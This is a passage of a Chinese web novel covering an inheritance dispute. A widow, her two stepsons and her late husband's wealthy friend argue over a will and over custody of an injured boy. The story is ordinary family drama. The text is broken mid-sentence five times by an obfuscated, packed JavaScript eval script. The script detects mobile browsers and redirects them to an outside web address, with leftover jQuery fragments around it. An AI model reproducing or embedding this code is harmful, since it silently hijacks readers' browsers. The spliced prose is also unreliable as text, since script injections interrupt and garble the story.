随便撒下去面,然后放点鸡蛋和葱花就可以了。 最后嘛,只能说能吃就行。 林向晨开心,所以也无所谓,他坐在椅子上翘来翘去,跟坐摇摇椅一样。 纪悠给人盛了一大碗,结果林向晨却说,“我要妈妈喂我。” 纪悠想起,她一直在外人面前装的继母和善,在林墨面前更是对林叙白比林向晨还好,小的时候,给林叙白喂过几次,给向晨的,真的一次都没有。 现在林叙白走了,怎么不能满足一下向晨呢。 她拿着汤勺,给林向晨喂了一口。 “味道怎么样?” 林向晨笑眯眯的,对味道也不怎么在意,“我觉得做饭,只要把菜做熟不就行了吗?” 纪悠忍不住认可点头,“我觉得你说得对。” 所以把这一大碗面疙瘩汤都吃完吧,她做的好像有点多了。 中途喂到一半,纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578612|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠抬起眼看了一眼墙外,因为盖的是花边围墙,有缝的话是能看到院子里的人的。 但她回看,却没瞧见人影。 没有恶意的眼神,但也没有善意,奇怪的家伙啊。 她视线很广,所以她也察觉到向晨眼里的泪光,是从来没做过所以做了一次就特别感动吗? 林向晨抬眼,正好和纪悠的对上。 他下意识擦了擦,“男子汉,就该吃眼泪拌饭。” 纪悠替他擦,“男子汉,首先要做的是不该学些乱七八糟的东西。” 林向晨眼眶红红的,小声嘟嘟囔囔。 “……我倒是没听说过还有这句。” 他有点满足了就开始自己吃了,他拿着勺子吃的吭哧吭哧,把脸弄的到处都是。 看着吃的真香啊,同时纪悠也想说,真好养啊。 因为这个点,她对向晨的喜欢明显又多了几分。 她给人擦了下脸,“晚上想吃什么?” “想吃什么都能给我做吗?” 纪悠觉得,这确实有点难度,但可以尝试嘛,两人可以一起尝试把饭菜弄熟了就可以了。 八岁半的小孩自己刷碗还是没问题的,刷完碗小孩又困的要睡午觉。 于是纪悠锁上门准备去买菜,她喜欢吃的南瓜这个时候正好上市。 走到中途纪悠警戒地转过头,男人正好开口说话了,他声音冷冽,言语中带着刻薄。 “你对你亲生的儿子倒是溺爱的紧。” 纪悠明白了,眼前这个人就是刚刚看她的人吧,“我溺爱自己的儿子倒是比有些男人偷看寡妇的好吧。” 沈介舟解释,“我不是在看你,我是在看你们的相处方式。” 在纪悠眼中,这完全没差啊。 她无所谓的耸耸肩,上下打量了人一眼,“所以,你是谁?” “我叫沈介舟,林墨的朋友。” 纪悠对这个角色有印象,都城大佬,手上有着巨额财富,为了报答林墨救命恩情,答应替他照顾儿子。 但孩子已经被‘她’送走,后续便一直花钱寻人。 等找到,天才男主已经变得残疾,他便做他最大的倚仗,一辈子不婚不育,等死了把遗产也都给男主继承。 纪悠觉得,这不对吧。 无论怎么看?这遗产里面也该有向晨的一份吧。 5. 第 5 章 “你收到信了吗?” “什么信?” 沈介舟心下的不安得到证实,他在看院子里的时候没瞧见林叙白的身影。 据他了解到的,林墨死了,眼前的这个人肯定会把林叙白送走,他专门写了一封信来证明林叙白的价值,没想到还是来晚了吗? “那林叙白在谁家里?等他们来到之后我才会说明这封信。” 纪悠双手抱胸,“到底什么信?你说的明白些,我可是很忙的,没空跟你在这谜语人?” 沈介舟打听到的,她现在该是没有事情做。 不仅如此,她这么快就把养在身边九年的孩子送走,还一点愧疚心都没有。 他冷淡地瞥开眼,“是林墨的遗嘱。” 纪悠突然之间明白过来,林家为什么要这么着急了。 如果没记错,林全就在邮局工作,虽然是夕阳产业了,但还算铁饭碗,“你就不能打个电话回来,非得搞仪式感,去走信件。” 纪悠觉得原著里,林叙白被那样送走,至少有他的一半锅。 “事发突然,新的联系方式我没找到。” 他和林墨虽然是兄弟,但从不愿提及自身的家庭,也尊重对方从不过问,只在以前跑大车的时候问过家里的联系方式托底。 后来,有了他们共同的公司,结果没想到这时候会发生车祸。 等他恢复意识,却发现用旧的联系方式根本联系不上他的家里人了。 “那看来,你和林墨还是不够亲密。” 沈介舟抬眼,没有解释的打算,“他的个人信息也和他一起在车祸里被烧没了。” “哦,这样啊。” 沈介舟等了好久,也没等来接下来的话,她的神色也没有丝毫变化,就好像完完全全死了个无关紧要的人而已。 沈介舟握了握拳,然后松了开来,“那现在能带我去见收养林叙白的家了吗?” “跟我来。” 沈介舟走到中途发现他居然到现在都没问出林叙白现在在哪里? 纪悠拿出钥匙,这才出来没几步路,就又要回去了,然后她在门口遇到了来找她的白如兰。 “小姨,有什么事吗?” “我来给叙白送羊奶。” 纪悠今天一天也是给忙忘了,忘了把这件事告诉小姨了,“吴连翠说要养他,所以已经收拾好东西去他家了。” 白如兰震惊,“吴连翠!那个吴连翠吗?” 原先悠悠说可能要养,他是一点都不信的,现在事实摆在面前,由不得她不信了。 这个吴连翠,莫非是转性了吗? “小姨,能麻烦你先去通知一下林家人吗,宣布遗嘱的人到了。” 白如兰有点不太懂,“遗嘱是什么?” 纪悠解释的通俗易懂些,“就是优先按照他的遗嘱来进行遗产分配。” 居然是这样? 她说这个吴连翠怎么转性了,原来是为了遗产,那就林墨那个满心满眼都是大儿子的男人,最后能分给她家悠悠多少? 她家悠悠辛辛苦苦为这个家奉献这么多年,最后什么好处都得不到? 她简直要气的心脏病都要犯了。 纪悠安抚地拍了拍她的手背,“放心,先去通知他们一下吧,见面的时间就说再定。” 她看了一眼沈介舟然后打开自家房门走进去。 她先是客套了一下,“要不要先来喝杯茶。” 沈介舟皱着眉,没有久坐的打算。 “不用了,既然叙白的腿受伤了,我们该去他们家,这样更快一点吧。”沈介舟忍不住问,“这个林家是亲戚?” “不是,就是林墨的父母家。” 纪悠看着沈介舟听完之后不变的神色,觉得他们这兄弟俩处的,真是对对方的家庭情况一点都不了解啊。 那她刚刚提供的信息已经足够到位了。 她拉开院子里的木桌椅子,做出要长谈的架势。 “这么着急做什么?难道在这之前,我不该先了解一下遗嘱的内容吗?” 沈介舟虽然疑惑信件为什么没有送到,但纪悠不知道遗嘱内容看起来确实是事实。 他从包里面拿出文件出来,然后根据条款挨个做出解释。 他原先还在担心对方不承认遗嘱效力,但从刚才的对话看来,事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578613|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情比他想象的要简单的多。 这是林墨在开大车时候做出的遗嘱,没想到是在这时候派上用场。 他深吸口气,然后开始说明了遗嘱内容。 他的声音清朗,听起来还蛮催眠的,纪悠需要提起精神听,最后发现条条框框的东西,内容却很简单,那就是林叙白一个人要占到所有遗产的一半。 纪悠靠在椅子后座上,虽然有点预料到了,但还是会很不爽啊。 “一人一半,那就是没有向晨的份?” 沈介舟解释,“两个孩子,一人一半。” “那就是没有我的份。” 沈介舟瞥开眼,“……叙白的成绩,能上大学。” 纪悠闻言更是挑眉,“那你的意思是说,向晨一定就考不上大学。” 如果没记错,他打听到的,林墨的二儿子,林向晨的成绩其实很差。 但是…… 沈介舟的眉眼闪过一丝纠结,最后闭上眼,决定不再说什么。 两人都没有再交谈的打算,沈介舟把文件收拾起来,然后打算回旅馆,下次再来拜访。 他留了电话,有具体的时间可以通知他。 只是频繁拜访一位女性的家有些不太好,果然,他还是不该进来,站在门外或是去林墨父母家那边看看会更合适吧。 林墨死了,林叙白去到他父母家自然合情合理。 但是这样,为什么林墨会对这个大儿子这么放心不下。 “沈介舟?你是沈介舟吗?” “我是。” “那我就是抚养林叙白的家庭,我就是!” 吴连翠骑着车来着,她吓了一大跳,说是一个星期,结果这林林总总也才四天吧。 如果不是他们有先见之明,早就把林叙白要了过来,不然这到嘴的遗产可不就飞了吗? 还好还好。 吴连翠赶紧让林叙白下车,“沈介舟,你说的只要让林叙白和我们同时来,就可以把遗产的事情给办了对吧。” 沈介舟眸色深了些,他看着林叙白疼得瑟缩的小腿,表情忍不住变得难看。 这就是林墨的父母家人吗? 6. 第 6 章 一个是不重视孩子伤口的林家,一个是虐待导致孩子受伤的后妈。 一定要在这两者之间做选择吗? 沈介舟忍不住看向纪悠,纪悠则是回看过去,看她做什么? 沈介舟思考不出来结果,决定先解决眼前的问题,他蹲下来看林叙白的腿。 “需要我带你去医院重新包扎吗?” 林叙白自己摸了一下,“没流血,就是姿势不对,疼得厉害。” 这个年纪的小孩正常早就该撒娇或者哭闹了吧,沈介舟心疼林叙白的早熟,然后忍不住询问他,“你知道我吗?我是沈叔叔。” 林叙白点头,“我知道,爸爸总在电话里面提起你。” 提起去世的父亲,林叙白脸上难以自抑的流露出落寞,沈介舟看在眼里,更是心疼了,他伸出手,“我来抱你去椅子上坐着。” 林叙白摇头,其实他最近发现如果抱得不好,腿一样会疼,甚至会更疼。 “我来吧。” 纪悠直接抱起林叙白,找到个最软的椅子上坐了上去。 沈介舟空了手,尤其看着林叙白乖顺认抱的样子,眼里更是诧异。 叙白刚刚甚至拒绝了他的帮助。 吴连翠见状懒得和沈介舟寒暄,“虽然孩子现在是纪悠抱着的,但是之后要养孩子的,确实是我们这一大家子,你只要正常公布遗嘱就行了。” 沈介舟冷了脸,“信件上面说了,孩子要照顾的好才行。” “伤口又不是我们弄的,再说了,你只是个传话的,管那么多干嘛?” 吴连翠等不下去了,这一来一去的花了多长时间了,她还得回家做饭,照顾大孙子呢。 沈介舟眯起眼,一点时间都等不及吗?却带着孩子着急慌忙的来到这,就是为了争夺遗产。 这样的家庭?怎么可能照顾好叙白? 这时候纪悠也不想等了,她安顿好林叙白之后,“快点开始吧,向晨也快醒了,知道这事绝对会伤心的。” 沈介舟握了握拳,虽然讨厌她们对叙白的漠不关心,但不可否认向晨也需要关怀。 虽然向晨是眼前这个女人的儿子,但同时也是林墨的儿子。 他拿出一式三份的遗嘱,无声的做出妥协。 林墨的遗产不多,和他不同,他需要按时抚育孩子、孝顺老人,花的钱要比他多得多。 最后的金额是八万六千,对半分那就是四万三千。 吴连翠率先不满意了,“还有这套房子呢,不是说对半分吗?总不能都留给纪悠吧。” 沈介舟没有动房子的念头,“这房子上也有她的名字。” “那剩下的一半也得对半分吧。” 别以为吴连翠什么准备都不做,她也是问了人的。 纪悠要是想要房子就得多拿钱出来,现在这房子市价怎么也得七八万块钱吧,总得让她在遗产上再吐出一两万出来。 沈介舟看着纪悠,纪悠只能耸了耸肩,“那就只能让给她了,毕竟为了让我的向晨有个遮风避雨的地方,这也是没办法的事。” 沈介舟迟疑,“你不能回娘家?” 纪悠稀奇他打听了这么久,都没有打听到这件事,“我,父母双亡。” 沈介舟动作僵硬了一下,他看着纪悠,没想到对方是这样的境遇,想到向晨那孩子之后的处境,这也是个难题。 沈介舟深吸口气,烦躁复杂的情绪也跟着压了下来。 他冷着脸看向吴连翠,“那就让我出钱把房子买下来,林墨的那一半一人一半可以了吗?” 这发展打破了吴连翠的预期,她卡了一下继续道,“那房子呢?” “房子,我会免费让他们母子俩居住。” 沈介舟并不差买房子那点钱,不如说,他比林墨还要有钱的多。 吴连翠不可置信,那岂不是什么都没有变,纪悠还是可以在房子里面住,纪悠还可以拿到这么多钱。 意思是她折腾了半天,最后还让纪悠还多拿一半多房子钱吗? 这凭什么啊? 吴连翠气得要死,最后她指着沈介舟埋怨道,“你这么有钱,做什么传信的啊。” 沈介舟觉得他重新自我介绍一下,“我是林墨的好兄弟。” 吴连翠早知道这是林墨兄弟,还这么有钱,她不得对他态度好一点,那不是也能多拿钱了? 她捶着胸口,后悔她果然还是太着急了。 但好歹,她还是按照遗嘱拿到了属于她的那一半,足足有六万块啊,发财了发财了,这下啊,连她家孙子结婚都不用愁了。 她得赶紧回家跟老林家分享这个好消息。 一片寂静中,纪悠笑了一下,“我都还没点头呢,沈先生就这么擅作主张把我家房子给卖了?” 沈介舟有些话不方便公开说,“你没有拒绝的理由。” “为什么?” 沈介舟打定了主意,“因为我会把房子再无偿转让给你一个人。” 沈介舟后续不想再和纪悠有任何牵扯,所以租赁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578614|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房子,或者无偿居住都不是可以直接扯断的联系。 他只能这样做。 纪悠显然对结果很满意,她姿态都松弛了很多,果然比起和吴连翠这样的穷人掰扯浪费时间,不如和有钱人谈判来的有效益的多。 她看着沈介舟笑道,“那我收回那句话。” “哪句话?” “就是你和林墨不够兄弟的那句话。” 这怎么不够兄弟了,这简直太够兄弟了,为了摆平自家兄弟死后家里财产的这点纠纷,愿意直接花钱买一套房子。 八万块,这可是这个时代多少人一辈子都赚不到的钱。 纪悠满意了,沈介舟的注意力却放在身后不发一言的林叙白身上,因为嫌弃他腿疼不方便,竟然直接把他扔在这,等着卖房子的之后再回来带。 就像是一个争夺财产的物件一样。 沈介舟蹲下身,“你是真的愿意和林家一起生活的吗?” 林叙白扶着腿,觉得刚刚同样被抱起,腿却没有感受到疼。 果然之前的怀抱不是巧合。 他看了满心满眼都是自己儿子的纪悠,先前一直觉得她遮掩,现在她真的按照自己想的这么做了,他却觉得失落。 比起林家明显的恶意,或许这种虚假的爱更让他难以接受。 他既然已经做出了选择,那就按照他做出的选择往前走吧。 “对的,我是。” 沈介舟皱着眉头,怎么看怎么觉得放心不下。 纪悠站起身,慢悠悠地点评道,“既然这么不放心,那你留在身边自己养就是了。” “我没有领养的资格。” 在末世中,孩子跟流浪猫一样,谁捡到就是谁的,纪悠倒是忘记这时候还需要领养资格了。 就跟忘记还有遗嘱这一说一样。 “领养孩子需要什么资格?” “需要领养人结婚,而叙白的条件,也不是个领养的条件。” 纪悠挑起眉,“那我倒是可以给你个当后爸的机会。” 这样他结婚了,孩子就由她带过去,他可以当后爸养着叙白了,这个计划站在他的角度岂不是完美无缺。 沈介舟皱着眉头,“林墨他才刚死。” 眼前的女人居然就想着再嫁? 看到沈介舟不乐意,纪悠无所谓的耸耸肩,“那就算了。” 对方放弃的太快,沈介舟满心的负面情绪反倒没处发泄。 最后闭上眼,只能当做什么也没听到。 7. 第 7 章 沈介舟为遗产公示做了很多准备,虽然加入了意外的房产买卖环节,但也在他熟悉的范围之内。 于是在林家的热烈视线内,把钱清点完成给了他们。 沈介舟:“我短时间内不会离开这里。” 吴连翠拿到钱还管他这么多干嘛?他爱待多久待多久。 “孩子如果过的太差,我当然也有办法把钱拿回来。” 钱都已经拿在手里了,怎么可能能给他拿走,吴连翠不信,但她也记得林墨一纸文件让亲爸拿不到法定遗产的事。 谁知道这些有钱人能搞出什么幺蛾子? 吴连翠现在对他们的印象就是心眼坏,越有钱越抠门。 到时候钱拿在手里有多安心,那最后掏出去就有多痛心。 她烦得很,但还是妥协了,顺带打探道,“那你在这能待几天?” “三天。” 沈介舟得亲眼看到林叙白能在林家过的好才行。 他转过身,没再去管神态各异的林家人,只是意外的对上纪悠的眼神,她像是看出来了他在撒谎。 纪悠笑了笑,嘴唇动了但无声,‘所以真的能待几天?’ ‘十天。’ 纪悠感叹他还真够谨慎的,这时间都多出好几倍了。 但十天之后就要离开啊,她看着林家人带着林叙白离开的身影感叹道,“真可惜啊。” 沈介舟瞧她一眼,不知道她是在感叹她没争取抚养权损失钱财,还是在感叹他十天后就要走,果然那句‘后爸’没那么容易让他放下。 主要是太震惊了,毕竟他是纪悠死去丈夫的朋友。 于是等他办理好房屋无偿转让的文件后,“我先离开了。” 纪悠无所谓地挥手,“慢走。” 白如兰买完菜和离开的沈介舟擦肩而过,白如兰看着纪悠,“怎么不让他吃顿饭再走?” “他肯定不会愿意的。” 一个外男和一个刚死了丈夫的寡妇吃饭吗?她觉得可以,沈介舟肯定觉得不行。 就在刚刚那半小时,他就已经如坐针毡了。 白如兰是想感谢沈介舟给了悠悠母子俩这么些钱,帮他们解决了这么大的麻烦。 她一边把菜放进橱柜一边劝,“你可得好好打算一下这笔钱,这笔钱可是得保证你和向晨后半辈子的生活。” 后半辈子? 这笔钱连一套市中心的房子都买不下来吧,还要负责她的吃喝玩乐,向晨的衣食起居,这是不是太勉强了点。 要问她为什么会把买房排在最前面?当然是就连末世都是便捷的淋浴马桶,在这却是自己烧水和旱厕。 这简直是纪悠最忍受不了的地方。 但是,纪悠总不能在小姨面前这样说,她半真半假的解释道,“放心吧,小姨,我能过上好日子的。” 白如兰在这点上点头,“我信你,悠悠你一直是个很有主意的人。” 聊完之后她对着一橱柜的菜犯了愁,原本买了是想感谢沈介舟的,现在买了这么一大堆,今天的晚饭却不知道怎么下手了。 看这个容易坏,看那个也容易坏。 这可都是用大价钱买的啊,就算花的不是她的钱,也心疼啊。 纪悠过来看上一眼,她倒是觉得,“本来我们拿到这么些钱也是一件值得庆祝的事。” 这倒是,白如兰认同了这话,那就按原先打算的做。 纪悠撸起袖子,“那我来给小姨打下手。” 白如兰觉得有点好笑,“你就没想过自己动手炒啊。” 纪悠想起今天中午她做的疙瘩汤,能吃但味道实在一般,能吃好的当然还是吃好的。 所以备菜的工作全都交给她,小姨只需要炒就可以了。 这时候,林向晨困顿地揉了揉眼睛走出来,然后惊呼,“今天是什么日子,居然做这么多好吃的!” 纪悠瞧他一眼,只觉得他的表演做作的厉害。 一定不是刚醒,但也不知道他刚刚关于遗产的事听到了多少。 “快过来帮忙洗菜了。” 林向晨赶紧应‘好’,这样一桌子菜在三个人齐心协力下完成了,分工合作效率还挺高的。 林向晨吃饭吃的寂静无声,纪悠忍不住想他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578615|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该不会又在吃眼泪拌饭吧。 “妈妈晚上能给我讲故事吗?” 看小孩实在可怜,纪悠点头答应了,她晚上去的林向晨房间,主要是不喜欢混小子睡她的褥子。 “想听什么故事?” 林向晨用被子盖住半边脸,“什么故事都行,要主角没爸爸的。” 纪悠挑下眉,这含义似乎有些太明显了。 她看向床尾,如果没记错,这不是他床铺上用来代指爸爸的玩偶吗?就这样随便的和他那些脏衣服堆在一起? 如果没看错,这上面这是眼泪吧? 她单手捏起来,“还要吗?” 林向晨‘切’了一声,然后抱住她的胳膊充满依赖,“不要了,我只要妈妈就够了。” 这含义懂得都懂,所以遗嘱里面没有他的事被他知道了对吧。 纪悠摸摸他的脑袋,有一瞬间心疼和酸爽并存,果然啊,孩子还是得自己亲生的好。 纪悠很满意,她嘴角带笑的翻了一下故事书。 她随便找了一篇‘灰姑娘’,也是有爹和没爹差不多,非常满足向晨的需求。 她声音很稳,林向晨听的兴致勃勃,眼神也亮亮的,纪悠开始怀疑睡前童话,这哪里能催眠了?明明是让人更兴奋了。 “妈妈,我感觉林叙白像恶毒继哥!” 纪悠下意识觉得,“也不太像吧。” “我不想听了!” 纪悠无所谓的翻个页,“那我们换一个。” 林向晨又从被子里钻出来,明显从刚刚的气闷中又哄好了,纪悠看不明白,就当是小孩子的反复无常。 她打了个哈欠,“这是最后一个故事了。” 林向晨也点头,他抱着妈妈,“那晚上讲完故事之后,妈妈能和我一起睡觉吗?” 晚上睡觉身边有人吗?这个绝对不行。 纪悠委婉的拒绝,“男子汉成熟的第一件事就是要学会自己睡觉。” 林向晨稀奇,妈妈说的男子汉语录他在外面都没听到过。 但他是个男子汉,所以会按照男子汉语录里面说的做。 8. 第 8 章 早上,林叙白躺在木板床上,他底下垫了棉絮,依旧有些硬,原先爷爷说这是事情赶没时间弄。 但距离分遗产已经过去两天,爷爷家还是没给他置办。 他坐起身摸着黑眼圈,这几天因为各种各样的事让他也有些没睡好,他打开窗帘想着接触阳光,但房间内白天也阴暗,和以前的房间差了太多。 吴连翠这时候打开他的门,“带你去早市买点好吃的。” 林叙白摸着腿,“我腿还有点疼。” “还没好啊。” 吴连翠不满的嘟囔,但她这三天就算再不满也不能表现出来,那个沈介舟还不知道在什么地方看着呢。 就包括她这次带人出去,也是为了表现表现。 “因为你这腿没好全我都不好带你出去了,你一直待在家,这外人啊,还以为我把你关房里虐待你呢。” “这个外人以为,指的是沈叔叔吗?” 因为怕沈叔叔把钱要走,所以要带着他做戏是吗? “你管谁以为?” 吴连翠觉得糊弄十岁小孩那还不是轻轻松松,她继续道,“你这孩子我看就是分不清好坏,要带你去吃好吃的还这么不领情。” 她原本连一点钱都不给林叙白花的,但她儿子说,沈介舟一直在打听呢。 真是麻烦。 她直接拉着林叙白就往外走,“嫌腿疼你就坐自行车上别下来不就行了。” 林叙白的腿其实能走路了,有点疼但能忍,但就是莫名地不想让吴连翠知道。 他坐在二八大杠后座上,吴连翠一个接着一个的问道,“包子吃不吃?糖吃不吃?还有这老母鸡,小孩子吃了就是有营养。” 林叙白的回答也很简单,都是‘不吃’。 这小鬼真难伺候。 吴连翠气的咬牙切齿,“那这么大的一个早市,你总有想吃的吧?” 林叙白抬眸,随即注意到什么,视线一顿。 “……那就鸡蛋吧。” 吴连翠记得她之前给林叙白鸡蛋,他还躲得远远的,现在居然主动要吃?这小孩真够善变讨人厌的。 她暗暗翻了个白眼,然后看到纪悠正站在摊位前买鸡蛋。 纪悠这些日子最大的难题就是不知道吃什么,她都想念罐头了,怎么吃都还可以接受。 自己做的话,她在脑海里搜寻了半天菜谱,就只能想到辣椒炒鸡蛋。 这该是最简单上手的一道菜了吧,只要放点盐就可以了。 她去到一个摊位,“鸡蛋多少钱?” “一块钱一斤。” 她想着遗产可真不够花啊,鸡蛋都要一块钱一斤了,“这么贵吗?” 老板看了人一眼,发现是纪悠,这人最近把婆家赶出门,在婆家闹事传的沸沸扬扬,据说疑似精神不太稳定。 她当即小心翼翼地表示,“八毛钱一斤也行的。” 纪悠记起以前可没这么好讲价,她稀奇地看了老板一眼,对方的小心翼翼简直都要从脸上溢出来了。 像对待脆弱人士一样,同时又充满恐惧。 看来她死了老公精神不太稳定的传言已经传出去了吗? 这还蛮好的嘛。 纪悠对这点非常满意,她蹲下身挑了一些,够好几天吃的,她递给老板,老板还主动给她抹了零,最后只要三块钱。 她付了钱还没走呢,就听见吴连翠阴阳怪气的声音。 “哎呦,这日子过的真不容易,都要开始讲价啦。” 吴连翠笑意盈盈的,明显很得意,她早就说了,等纪悠落魄了休想吃他们家一分一毫。 等到时候她肯定会后悔,居然敢用这么恶劣地态度对她! 他们家可和纪悠这个寡妇家可不一样,有老爷们能一直挣钱,日子绝对比纪悠要稳当,就算纪悠拿到的遗产多一点又怎么样?她拿到的也不少。 此刻她看着后座上的林叙白,就像是赢过纪悠的战利品一样。 林叙白则是低着头,明明是他做出的选择,此刻竟然不敢看她。 她以前上街买菜从不砍价的。 纪悠没理吴连翠,而是把视线放在林叙白身上,“我看你眼圈黑成这样,是没睡好吗?” 林叙白摸了摸困顿的眼皮,没想到这点给她注意到了。 虽然她的语气就像是在说‘天气真好’那样的随便,但总归是关心。 他还没点头,吴连翠抢先开口了,她担心地看了看四周,“别胡说了,孩子在我们家被我们照顾的可好了,平日里地不让扫,碗不让刷的,就让他躺着,还能睡不好嘛?” “也可能是冷的睡不好呢。” 纪悠还记得林叙白的体质就是超级怕冷的体质来着。 林叙白摸了摸胳膊,他早上直接被吴连翠拉起来出门了,在屋里和外面的温度到底还是不同。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578616|187218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她居然连这点也注意到了。 他攥紧了手掌,抬眼看她,“我今天能陪你回去拿几件衣服吗?” 吴连翠一听这话炸了,“绝对不行!” 沈介舟还没走呢,她不可能任由林叙白去到纪悠那呢,反正至少这段时间内绝对不可以。 林叙白撇过眼解释,“我是为了回去拿衣服,还有一些冬天的衣服没收拾完呢。” “那可以。” 吴连翠记得林叙白的衣服质量可好了,等拿回来,就都是阳阳的了。 她才不想看见纪悠和向晨那小子捡大便宜。 林叙白跟着纪悠去到她家,他坐在椅子上找了个袋子,准备收拾些厚衣服,他视线扫了一圈,发现什么都没有变。 那其实是纪悠懒得收拾,不如就摆在这,以后嘛,还能当个向晨的杂物间。 毕竟那小子,看着真没什么空间管理意识。 她从厨房里拿了个水煮蛋,“要吃吗?” “谢谢。”林叙白接过,“是早上给向晨准备的吗?” “也不是,只是早上煮的多了。” 等向晨他醒了,还有的吃。 她可不会干出以前那样克扣亲子,只为讨好继子那样的事。 林叙白接过鸡蛋,他视线扫视纪悠刚刚放在房间里的东西,她除了早上买的鸡蛋还买了一个玩偶,和花盆一样大。 “这是?” 纪悠指了指自己,“和我不像吗?”她还觉得挺像的呢。 向晨不是说不需要那个爸爸玩偶了吗?那她就想着买个新的,代表妈妈的,听说小孩习惯了床上有玩偶之后,扔掉会戒断。 而他上次还想让她和他一起睡。 所以总的来看,买个代表她的玩偶是最方便的。 “没,气质上还是像的。” 林叙白视线扫过还能在袋子上看见价格,所以买鸡蛋的时候砍价,买玩偶的时候却又这么舍得吗? 林叙白低垂着眼,“向晨肯定会喜欢的。” 他的弟弟向晨,很讨厌他,但是很爱她,所以只要是她送的东西,都会喜欢的吧。 而她,也如向晨想要的那样,全身心地喜欢着向晨了。 如果他选择她,结局也不会发生丝毫改变,他还是这个家的外人,只能得到像现在一样的偶尔的一丝关怀。 就像是饮鸩止渴,到时候也没法填补内心的空白。 9. 第 9 章 林叙白思考的时间太久,吴连翠等不及地在门口催促,“好了没啊,拿个衣服拿的这么慢。” 几秒钟的功夫分得折腾个几分钟。 她站在门口觉得丢人,哪有前婆婆站在儿媳妇门口,还不让进去的道理。 但就进去这一次,还是接自家养着的孩子,就换谁来也说不出她个什么来。 所以她有什么好怕的? 但等她做好心理准备进院,纪悠已经抱着小孩出来了。 吴连翠瞧了一眼,忍不住惊呼。 “怎么就拿了这么点衣服啊?” 她抓了几下发现比肉眼可见的还少,以前瞧着林叙白的衣服一个星期都不重样的。 纪悠看了一眼,这是林叙白收拾的,他说这就够了,虽然没说明白,但纪悠怎么可能不懂。 她笑了笑,“准备多了怕你给他准备的屋子放不下。” 吴连翠确实收拾的是杂物间,但她也有借口,“我家多少人,你家多少人,能腾出个地给人住就不错了。” 光是想想她就肉痛,这么大的房子,那个叫沈介舟的居然免费给纪悠住。 等她回到家说事的时候,一大家子没个开心六万块的,都在可惜房子的事。 老头子怪她没眼色,儿子怪她态度不好了,弄的她辛辛苦苦跑一趟,结果里外不是人。 这能怪谁?要怪就都怪沈介舟当时没有坦白身份,也没说明自己原来这么有钱。 她翻了个白眼,像接力棒一样接过林叙白后,又嫌弃他嫌弃地不行。 “你自己也不知道多拿点。” 林叙白瞥开眼,“是你在外面催的厉害。” 吴连翠咬牙,自己不中用还怪上她了。 但她又小心地看了看四周,无奈只能歇了动手的心思。 一直跟在身后的沈介舟脚步顿了顿,他知道吴连翠这个方向八成是要回家,等回了家他就没法跟了。 从目前来看,虽然埋怨,但照顾的也还算可以。 只是不知道等他走以后…… 沈介舟皱着眉头,隐隐有的预感让他心头沉郁。 “如果林家在你走之后真的虐待孩子,你打算怎么做?” 沈介舟转头,其实听声音他就知道是谁,但不知怎么,被纪悠从背后盯住的感觉可不太美妙。 他思考了一下眼前人物的恶劣关系,然后说了实话。 “如果知道钱能压抑住他们,我会拿回钱准备遗嘱信托,定期打给他们钱,然后不定期的找人回来看。” 但就算是这样,也防不住在他看不见的角落,林叙白依旧能够受到委屈。 所以他才想优先找个靠谱的家庭。 这‘遗产信托’是不到万不得已的时候才会采用的办法。 纪悠挑眉,这人心机可真够深的啊,吴连翠知道她当初签的合同上有这种手脚吗? 